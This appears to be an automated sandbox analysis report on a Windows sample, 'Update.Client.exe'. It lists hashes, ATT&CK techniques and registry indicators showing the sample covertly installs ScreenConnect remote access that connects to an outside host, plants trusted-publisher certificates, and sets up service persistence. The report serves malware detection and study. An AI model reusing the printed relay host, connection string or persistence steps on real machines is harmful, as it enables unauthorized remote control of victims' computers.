e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae

Analysis

max time kernel
93s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2025, 14:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Update.Client.exe
Size 81KB
Sample250307-r4tpfssmv3
SHA256 e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae
MD5 177404310049061902a1dd466d7dd8fa
SHA1 ae8439659c0bcce8ad7c77810af3ccc7035c2d88
SHA512 5c35687894e77008189f393b7f1447ab968627b88b1e054cdfd1231d4a35c03709bcd58bcdef80dde9f99d87a43a1a90d95d4fc3c312a0d764139b4342ee4923
SSDEEP 1536:xoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY37dJ:renkyfPAwiMq0RqRfbaWZJYY3/
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (210e492a-3b03-498e-9aad-524dc45ea564)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\RJM1LC52.JNJ\\BT64G6VO.ENA\\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA%2buhuC0yR4EGoESmZ0s79XgAAAAACAAAAAAAQZgAAAAEAACAAAABm8k9a1av3%2fS4z%2bp%2b1P1RBWBqlQ1ckgvoIcdQFKLTOXQAAAAAOgAAAAAIAACAAAAA3g%2bh0QMFiunkbwKJFrZmMhLTeQJMzfxC0W6NgL1%2b5H6AEAAB5Pz%2fUMmKBWeiGbenuOhnlZ3w3MPSSOyP1%2fPplgHal1DXbpMXHumjPh6TJ%2bMOYsUSDvgkrvGwAgC0%2bXr98BsYLdIXHhuEkPHJz%2bzL5%2fNfa01imBTolOkryvV02GiEmurKofyYfGm6q0ahSJfKR28FbSk6sYWaM7k8mK0Ga665DBr%2fQtvYYEIVSadFU1xiKRk5%2fnJooCfH8NWvm1sWk1DWzAyxY57wDma%2blRTTp9GIn%2fMqWk1nzjH7Ri88jIazcx0yBQFlMdvkqga3nPQHX6g2l3jmEpEidCShJb6nW%2fOAY4O01MPdnSue8wM45AEBY2hcZ54tuo%2fmi0Z6%2bJOx%2f4sMZC86HHf0G%2fYlsrUe3124T9JOGFu2K6%2f%2f0xEek9xwFRexYx5MLFhXefec5pV2seoD0zRvIAiO7ESRHCySOUO0%2f%2fDAJ9nFPZKxQMlhLRp5o%2b%2fv6EL7XdLZVeYzV%2bbarcFZYGgg6f0atNn8fz8AAmT5JhqZFvcBJPGh8HBHLRjyqVbF1Di8LUlzjx7o7sR33%2bwnVJQ6BM81D7sdBXgrhQYTYLAJu5%2bFh6D1D8Bmbu6aSTet4dhG0YLR5ibQesUknNM%2fq69zyHGCo7aCfrCH1N1sXBw39QzaY2ZsTWGkGZZu%2bbQLYmHUGJGUYEGcNNg3VWGJDKxArVOOecADGiLFOzgww3M%2bTl%2bktNp7eKQIRn0S2TUMdROa5esidWqH7eLOFIoxfk6bUsiQKSuteCIA4W25q7XrlFer%2bEGHWopOrETr%2f1YGu7s3PVq54NyetzMof9HNHx2e7uiWKG%2beygwt%2f7IvjUxOl8wRHpvnUo4pXPySbylGhkh7bo0HxSM5koQSWGjr4azwUjEVgg5%2fl6vwNNZtuPC5m4HEdJEqHS%2fZMBVizMZKjTQ3VUZXa6NiF0Abx5hhYEu6ZkyLpNIwrnFR2iB64YpWipHBHzY0nggNvklKPTzmBXJAfxW7iUvVLBW9eXsU%2fo%2b7F9%2b%2bmoHDjHwuVeOESxjvOTmflWGzGhBqKjX7vUbPEe%2bYNxnBi5mWC0o2rAGE2LuduXU%2fRr6MqpfivCwnGMOdYNkyfdPVCXtxrpKc7XnmYo8tQRahpcyhe3YKFN%2bOHAZ7CfXnzZXWdWvLTIzcA1xALONv8niMswImLyQbuEZHKFrPest8g7e1o%2bx0pkosUnS8gkz4Km8lffXdf2Yyy0dRTRjRQ28Hcc6mDdswCAprjKClIZp0NIC97H5KKJb7FJ4Flv0LbJKp0FnXj%2bQMa7VNZNBYXDuPRyDmJ1gYfeLq%2fLxrc20ptGXKoUulsYkhRj9c98hh3SahbaQ0WJrxFMJW0MfU%2fYOi7K6t6Fx62f2%2fu87LnSIFVHcXvYikpfzPaC1GwXUAtBefzcCBvumPrTH7HyrS899i81pThDHNqo1DJYpZaWZm2Zy5JQUE5PPRPySspVavE9spACnRA7cEZeS5rdnXW%2fy%2bzzQv%2fEposf01SPZiQDq2WCdxUEt%2fWgenD0SCs4WdD5MWpOWdoykE7ypXYCG4QdOKLApwjStlAcJcrPSS840XBg0cL9zNDh%2bFQG%2bgY96Q%2fA8jOSnucDQxei0AAAADP01oS%2fq79%2bjc624l%2b3231iqs%2b%2fVeNf0tK9ELTIRlanJ%2fyjhSjofrOesWEGsKZ1g4%2btspyQ4DJqgnnT70Kd0%2bz&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
4	4616	dfsvc.exe
4	4616	dfsvc.exe
4	4616	dfsvc.exe
4	4616	dfsvc.exe
4	4616	dfsvc.exe
4	4616	dfsvc.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Executes dropped EXE 5 IoCs

pid	Process
2956	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
2692	ScreenConnect.WindowsClient.exe
4960	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
4804	ScreenConnect.ClientService.exe
4804	ScreenConnect.ClientService.exe
4804	ScreenConnect.ClientService.exe
4804	ScreenConnect.ClientService.exe
4804	ScreenConnect.ClientService.exe
4804	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4608	2196	WerFault.exe	83

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.Client.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\Files\ScreenConnect.ClientService.dll_e781b1c63 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "RJM1LC52JNJBT64G6VOENA33"	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 680074007400700073003a002f002f0077006900730065002e00730063007200650065006e006e006500630074002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e003f0065003d0053007500700070006f0072007400260079003d0047007500650073007400260068003d006b0061006e00670073002e007a006100700074006f002e006f0072006700260070003d003800300034003100260073003d00320031003000650034003900320061002d0033006200300033002d0034003900380065002d0039006100610064002d0035003200340064006300340035006500610035003600340026006b003d0042006700490041004100410043006b004100410042005300550030004500780041004100670041004100410045004100410051004200740038004700790064006d0053004c00750055004c0030007200770066003900610072004b0035004e005900440037007a00370057007200410042006d007100380055007a00680039007a004500330031005100390037004c006e0044005400780049005a005600770042004d004b0054005500730075004b006c004c005900700042006e00250032006200660036005800350066006400490062004400250032006600740076003500630025003200660076004c00660077006a00760062007700380045004a006200740073004900340030006c0066004d00250032006600790049005a00580066003400690047005100370032006e007a00300030003000700025003200660044006f0057004a00710030002500320066006f00740030007500390048006e004d0073003700740049005000250032006200330069004d0034006400490042002500320066004b007100460034006c006a00620046004f005400550049007a006f002500320062007900250032006600340075004e0071005000640055006a00550044004b006b006a00770049005300320052004d0052006e004400580079006d006b0032005500750076007700510058004200760054007800370041007a0038004e004e00330066003200590077004f00680071006f0072004700690025003200620035006600320052005900500051006c0033004600580063006c003700420051004d00320054006d0050006b005a0070003300320034006d004d006a0055004a006a004f0049004d005a0045007a005100720025003200660057004c006800360057002500320062004e00350046005000610042004b004f007500560033005a005a007a0034005400630066004b005600250032006200450077006e0079002500320062006a00520067005200440066003200250032006600370049003300430065007200580071003800490064007900470064004a0052006b003000500057003400480038006600560031006b0042006d00440070005400470071006800260072003d00260069003d0055006e007400690074006c0065006400250032003000530065007300730069006f006e000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\SizeOfStronglyNamedComponent = c04f040000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_a1398d06ca7d29e8\LastRunVersion = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb90704	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!12000000d1d2570e8c0b0000c0130000000000000000000 = 30303030306238632c30316462386636663934623063613164	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\SizeOfStronglyNamedComponent = 9906020000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\DigestValue = f271ebc2542397e59c3d57d30cc54bf1d9db4f69	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\Files\ScreenConnect.WindowsClient.exe_6492277df = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
